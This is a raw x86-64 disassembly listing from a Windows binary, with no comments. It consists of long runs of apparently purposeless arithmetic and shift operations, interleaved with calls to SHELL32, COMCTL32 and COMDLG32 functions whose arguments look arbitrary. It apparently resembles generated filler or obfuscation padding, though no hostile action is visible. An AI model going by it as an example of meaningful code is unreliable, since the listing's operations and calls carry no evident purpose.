mov dword [rcx], eax
movzx eax, word [rsp + 0x2a84]
mov word [rsp + 0x2fcc], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b6c]
sar eax, cl
mov word [rsp + 0x24fc], ax
mov rax, qword [rsp + 0xb9e8]
movzx ecx, al
mov rax, qword [rsp + 0xe840]
shl rax, cl
mov qword [0x14019d2d0], rax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xc120]
mov rcx, qword [rsp + 0xe888]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeb70], rax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xd1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc880], rax
xor r8d, r8d
lea rdx, [rsp + 0xe468]
lea rcx, [rsp + 0x216d0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xcf78], rax
mov eax, dword [0x14019f2cc]
mov dword [rsp + 0x712c], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe500]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4df], al
lea rax, [rsp + 0x4d1]
mov qword [rsp + 0xf138], rax
mov rax, qword [rsp + 0xebb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70dc], eax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xd608]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xedc8], rax
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x2bf4]
xor eax, ecx
mov word [0x14019f068], ax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe598]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x18c0], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xefb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a44], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov word [rsp + 0x2fd0], ax
movsx eax, byte [0x14019ef92]
movsx ecx, byte [rsp + 0x54a]
shl eax, cl
mov byte [rsp + 0x538], al
mov rax, qword [rsp + 0x9fc0]
mov qword [rsp + 0xf140], rax
mov rax, qword [rsp + 0xdfa8]
mov rcx, qword [rsp + 0xdd50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd058]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe3f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe1b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e78], ax
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0xf0e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe8c], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [0x14019f578], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xb558]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0xe4d8]
mov rax, qword [rax]
mov qword [rsp + 0xf148], rax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xddf8]
mov qword [rsp + 0xf150], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf150]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd440], rax
movzx eax, word [rsp + 0x24cc]
movzx ecx, word [rsp + 0x2e48]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
movzx eax, byte [rsp + 0x543]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x295], al
lea rcx, [rsp + 0x1efc0]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x7130], eax
mov rax, qword [rsp + 0xdd60]
mov rcx, qword [rsp + 0xea58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e88], eax
lea r9, [rsp + 0x6e60]
lea r8, [rsp + 0x6be0]
lea rdx, [fcn.140182e60]
mov rcx, qword [rsp + 0xd370]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6f04], eax
mov eax, dword [rsp + 0x6e8c]
mov dword [rsp + 0x7134], eax
mov rax, qword [rsp + 0xef78]
mov rcx, qword [rsp + 0xede8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf0b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32c]
or eax, ecx
mov byte [0x14019ef97], al
movsx eax, word [rsp + 0x22f8]
movsx ecx, word [rsp + 0x2b78]
sar eax, cl
mov word [rsp + 0x2c20], ax
movsx eax, word [rsp + 0x2cdc]
movsx ecx, word [rsp + 0x2cc0]
shl eax, cl
mov word [rsp + 0x2288], ax
movzx eax, word [rsp + 0x2c10]
movzx ecx, word [rsp + 0x2b88]
sub eax, ecx
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0xbb08]
mov qword [rsp + 0xf158], rax
mov rax, qword [rsp + 0xd058]
mov ecx, dword [rsp + 0x6e40]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6d28], eax
mov rax, qword [rsp + 0xf0b8]
movzx eax, byte [rax]
mov byte [rsp + 0x5a7], al
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd358]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc210], rax
mov rax, qword [0x14019f388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1878]
sub eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0xef10]
movzx eax, word [rax]
mov word [0x14019f580], ax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe570]
sar rax, cl
mov qword [rsp + 0x9628], rax
mov rax, qword [0x14019f538]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a78]
or eax, ecx
mov rcx, qword [rsp + 0xd910]
mov word [rcx], ax
mov rax, qword [rsp + 0xe550]
mov eax, dword [rax]
mov dword [rsp + 0x7138], eax
movzx eax, byte [rsp + 0x534]
movzx ecx, byte [rsp + 0x59d]
shl eax, cl
mov byte [rsp + 0x548], al
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x61d0], eax
mov rax, qword [rsp + 0xeaa8]
mov rcx, qword [rsp + 0xebe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x95a0], rax
movsx eax, byte [rsp + 0x5a7]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd970]
mov byte [rcx], al
movzx eax, word [rsp + 0x13f0]
mov word [rsp + 0x2fd4], ax
mov rax, qword [rsp + 0xee18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf090]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14019f018]
mov word [rcx], ax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
mov qword [rsp + 0xf160], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf160]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xed48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xa6f8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd780]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe220]
movzx eax, word [rax]
mov word [rsp + 0x2fd8], ax
mov rax, qword [0x14019f230]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d4]
shl eax, cl
mov word [rsp + 0x2f7c], ax
movsx eax, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
mov rcx, qword [rsp + 0xeed8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x372], al
mov rax, qword [0x14019efc8]
mov rcx, qword [rsp + 0xd118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xdd88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xece8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xadb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecf8], rax
lea rcx, [rsp + 0xe6e0]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xec50]
mov rax, qword [rax]
mov qword [rsp + 0xf168], rax
movsx eax, word [0x14019d110]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d2d8], ax
movzx eax, word [rsp + 0x2bc0]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x27e4], ax
mov rax, qword [rsp + 0xda28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdb30]
mov qword [rsp + 0xf170], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf170]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5bc4], eax
movzx eax, byte [rsp + 0x57a]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
lea rax, [rsp + 0xca50]
mov qword [rsp + 0xf178], rax
mov eax, dword [0x14019f2cc]
mov ecx, dword [rsp + 0x6f2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fa4], eax
mov rax, qword [rsp + 0xea28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe308]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x539], al
lea rax, [rsp + 0xe018]
mov qword [rsp + 0xf180], rax
mov rax, qword [0x14019f3a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2e78], ax
lea rcx, [rsp + 0x1e3f0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xf188], rax
movzx eax, word [rsp + 0x1f5c]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14019f330]
mov word [rcx], ax
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov qword [rsp + 0xf190], rax
movzx eax, word [rsp + 0x2e1c]
mov rcx, qword [rsp + 0xe458]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2774], ax
mov rax, qword [rsp + 0xed08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2094]
or eax, ecx
mov rcx, qword [rsp + 0xd898]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov qword [rsp + 0xf198], rax
mov rax, qword [0x14019f320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe600]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x26c], al
lea rax, [rsp + 0xc708]
mov qword [rsp + 0xf1a0], rax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5e40], eax
movzx eax, word [rsp + 0x2728]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9088]
add rcx, rax
mov rax, rcx
mov qword [0x14019f1e8], rax
movzx eax, byte [rsp + 0x502]
movzx ecx, byte [rsp + 0x4a1]
add eax, ecx
mov byte [rsp + 0x396], al
mov eax, dword [rsp + 0x6e20]
mov ecx, dword [rsp + 0x6e64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe550]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2284]
mov word [rsp + 0x2fdc], ax
mov rax, qword [0x14019f100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
sar eax, cl
mov word [rsp + 0xd60], ax
mov rax, qword [rsp + 0x9a70]
mov rcx, qword [rsp + 0xec58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b28], rax
movsx eax, byte [rsp + 0x4e1]
movsx ecx, byte [0x14019ef9b]
shl eax, cl
mov byte [rsp + 0x328], al
xor edx, edx
mov eax, dword [rsp + 0x6fc0]
div dword [rsp + 0x5b44]
mov dword [rsp + 0x6654], eax
movzx eax, word [rsp + 0x2b94]
mov word [rsp + 0x2fe0], ax
lea rax, [rsp + 0x2dd0]
mov qword [0x14019f588], rax
mov rax, qword [rsp + 0xa830]
mov rcx, qword [rsp + 0xd3a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd890]
mov qword [rcx], rax
lea r9, [rsp + 0xd130]
lea r8, [rsp + 0xd368]
lea rdx, [rsp + 0xe958]
mov rcx, qword [rsp + 0xcdf8]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x6ca4], eax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov qword [rsp + 0xf1a8], rax
mov rax, qword [rsp + 0xe8b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9318]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9820], rax
mov rax, qword [rsp + 0xe0e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a84], ax
movsx eax, byte [rsp + 0x1da]
movsx ecx, byte [rsp + 0xda]
or eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019d2b0]
shl eax, cl
mov rcx, qword [rsp + 0xe6e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdbe0]
mov rax, qword [rax]
mov qword [rsp + 0xf1b0], rax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5b30]
sar eax, cl
mov dword [rsp + 0x70cc], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe820]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x410], al
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d030], ax
movzx eax, word [rsp + 0x1250]
mov rcx, qword [0x14019f4e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x21cc], ax
mov rax, qword [rsp + 0xeef8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b6c]
add eax, ecx
mov rcx, qword [rsp + 0xd160]
mov word [rcx], ax
mov rcx, qword [rsp + 0xf1b8]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x70f8], eax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
mov qword [rsp + 0xf1c0], rax
movsx eax, byte [rsp + 0x4e1]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xddc8]
mov qword [rsp + 0xf1c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf1c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xdbd8]
mov dword [rcx], eax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc028], rax
movsx eax, word [rsp + 0x2ba8]
movsx ecx, word [rsp + 0x2b7c]
xor eax, ecx
mov word [rsp + 0xc28], ax
mov rcx, qword [rsp + 0xdc20]
call qword [sym.imp.SHELL32.dll_DragFinish]
lea rdx, [rsp + 0xee90]
lea rcx, [rsp + 0x20060]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xe688], rax
movzx eax, word [rsp + 0x1ce8]
mov word [rsp + 0x2fe4], ax
mov rax, qword [rsp + 0xec20]
mov rax, qword [rax]
mov qword [0x14019f590], rax
movzx eax, word [0x14019f0b0]
mov rcx, qword [rsp + 0xeed0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xf090]
mov word [rcx], ax
lea rax, [rsp + 0xd998]
mov qword [rsp + 0xf1d0], rax
mov rax, qword [rsp + 0x9e78]
mov rcx, qword [rsp + 0xe740]
mov qword [rsp + 0xf1d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf1d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb7e0], rax
mov eax, dword [rsp + 0x6998]
mov ecx, dword [rsp + 0x6ec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6efc], eax
movzx eax, byte [rsp + 0x533]
mov byte [rsp + 0x5a8], al
movzx eax, byte [rsp + 0x481]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51c], al
mov eax, dword [rsp + 0x6f1c]
imul eax, dword [rsp + 0x67bc]
mov dword [rsp + 0x5b5c], eax
mov rax, qword [rsp + 0xe418]
mov rcx, qword [rsp + 0xf048]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe1c0], rax
movsx eax, word [0x14019d068]
movsx ecx, word [rsp + 0xd68]
shl eax, cl
mov word [0x14019d108], ax
mov rax, qword [rsp + 0xd770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b44]
sar eax, cl
mov word [rsp + 0x162c], ax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
mov word [rsp + 0x2fe8], ax
mov rax, qword [0x14019f140]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dbc]
sub eax, ecx
mov word [rsp + 0x2de4], ax
mov rax, qword [rsp + 0xed78]
mov rcx, qword [rsp + 0xe6a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd18], rax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x259]
add eax, ecx
mov rcx, qword [rsp + 0xd628]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x705c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bd0], eax
movzx eax, word [rsp + 0x2e60]
mov word [rsp + 0x2fec], ax
movzx eax, word [rsp + 0x28e0]
mov rcx, qword [0x14019f100]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e40], ax
lea rax, [rsp + 0xeec0]
mov qword [0x14019f598], rax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov qword [rsp + 0xf1e0], rax
mov rax, qword [rsp + 0xef80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xde38]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5e0], rax
mov rax, qword [rsp + 0xedd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe830]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5a8], rax
lea rax, [rsp + 0x2380]
mov qword [rsp + 0xf1e8], rax
mov rax, qword [rsp + 0xe970]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6f60]
sar eax, cl
mov dword [rsp + 0x5be0], eax
movzx eax, byte [rsp + 0x1de]
mov rcx, qword [rsp + 0xe6d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b50], eax
mov rax, qword [rsp + 0xd4b0]
mov qword [rsp + 0xf1f0], rax
movsx eax, byte [rsp + 0x584]
movsx ecx, byte [rsp + 0x344]
sub eax, ecx
mov byte [0x14019ef92], al
movsx eax, word [rsp + 0x2c50]
movsx ecx, word [rsp + 0x1764]
shl eax, cl
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d80]
or eax, ecx
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0xf0e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfd4], ax
mov rax, qword [0x14019f2c0]
mov rcx, qword [rsp + 0xe0f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9918], rax
mov eax, dword [rsp + 0x6e84]
mov dword [rsp + 0x713c], eax
lea rcx, [rsp + 0x20060]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x6dd8], eax
movsx eax, byte [rsp + 0x2d4]
mov rcx, qword [rsp + 0xef60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x328], al
mov rax, qword [0x14019f120]
mov rcx, qword [rsp + 0xe670]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd788], rax
mov rax, qword [rsp + 0xd898]
movzx eax, word [rax]
mov word [rsp + 0x2ff0], ax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0x2ce0]
and eax, ecx
mov word [0x14019d2dc], ax
mov rax, qword [rsp + 0xe700]
mov rcx, qword [rsp + 0xd890]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb860], rax
lea rax, [rsp + 0x1494]
mov qword [rsp + 0xf1f8], rax
movzx eax, byte [rsp + 0x386]
movzx ecx, byte [rsp + 0x527]
or eax, ecx
mov rcx, qword [rsp + 0xe9a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xedf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019efa8]
sar eax, cl
mov dword [rsp + 0x6fa0], eax
lea rax, [rsp + 0xf0c8]
mov qword [rsp + 0xf200], rax
movsx eax, byte [rsp + 0x4f1]
mov rcx, qword [rsp + 0xe5d8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x585], al
mov rax, qword [0x14019f488]
mov rcx, qword [rsp + 0xedf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69d8], eax
lea r9, [rsp + 0xcf78]
lea r8, [rsp + 0x1fc60]
mov edx, 0x3c
mov ecx, 0x7a
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13cc], ax
movzx eax, word [0x14019f18c]
mov word [0x14019f5a0], ax
mov rax, qword [rsp + 0xbd38]
mov qword [rsp + 0xf208], rax
lea rcx, [rsp + 0xdf08]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xe650]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9e10], rax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
movsx ecx, word [0x14019d0b8]
shl eax, cl
mov word [rsp + 0x1a3c], ax
mov rax, qword [rsp + 0xeed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2df0]
sar eax, cl
mov word [rsp + 0xc14], ax
mov rax, qword [rsp + 0xbc48]
mov rcx, qword [rsp + 0xd978]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc818], rax
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov dword [rsp + 0x7140], eax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x586]
add eax, ecx
mov byte [rsp + 0x3eb], al
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xee20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd880], rax
movsx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0xdc40]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d2b4], ax
lea rax, [rsp + 0x154c]
mov qword [rsp + 0xf210], rax
mov dword [rsp + 0x20], 0x7e
lea r9, [rsp + 0x1e058]
mov r8, qword [rsp + 0xe070]
mov rdx, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xdbf8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x7144], eax
movzx eax, byte [rsp + 0x2b2]
mov rcx, qword [rsp + 0xf050]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51c], al
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x64d8]
shl eax, cl
mov dword [rsp + 0x5a04], eax
mov rax, qword [rsp + 0xd500]
mov rcx, qword [rsp + 0xd868]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xec48]
mov rax, qword [rax]
mov rcx, qword [0x14019f2e8]
mov qword [rsp + 0xf218], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf218]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe180], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov dword [rsp + 0x7148], eax
mov rax, qword [rsp + 0xe5d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe340]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0xdcf8]
movzx eax, word [rax]
mov word [rsp + 0x2ff4], ax
lea rax, [rsp + 0x2c70]
mov qword [0x14019f5a8], rax
mov rax, qword [rsp + 0xe2f0]
mov rcx, qword [rsp + 0xd260]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbc8], rax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c2c], ax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2874]
sub eax, ecx
mov word [rsp + 0xc8c], ax
mov rax, qword [rsp + 0xeb38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe1e0]
sar rax, cl
mov rcx, qword [rsp + 0xe8f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd488]
movzx eax, byte [rax]
mov byte [rsp + 0x5a9], al
mov eax, dword [rsp + 0x6970]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xf220], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf220]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6e40], eax
lea rax, [rsp + 0xde00]
mov qword [rsp + 0xf228], rax
mov rax, qword [0x14019f230]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xd890]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019f350], rax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xebb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe578]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55d]
xor eax, ecx
mov byte [rsp + 0x171], al
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x1df0]
and eax, ecx
mov word [rsp + 0x2d7c], ax
movzx eax, word [rsp + 0x1554]
mov word [rsp + 0x2ff8], ax
mov rax, qword [rsp + 0xe5a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe780]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc18], rax
movsx eax, byte [rsp + 0x317]
movsx ecx, byte [rsp + 0x5a6]
shl eax, cl
mov byte [rsp + 0x445], al
mov eax, dword [rsp + 0x6998]
mov dword [rsp + 0x714c], eax
movsx eax, word [rsp + 0x1598]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2f54], ax
movzx eax, word [rsp + 0xcf0]
movzx ecx, word [rsp + 0xe90]
sar eax, cl
mov word [0x14019d2e0], ax
mov rax, qword [rsp + 0xe8f0]
mov rcx, qword [rsp + 0xdeb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ad8], rax
mov rax, qword [rsp + 0xe650]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xda90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd9d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
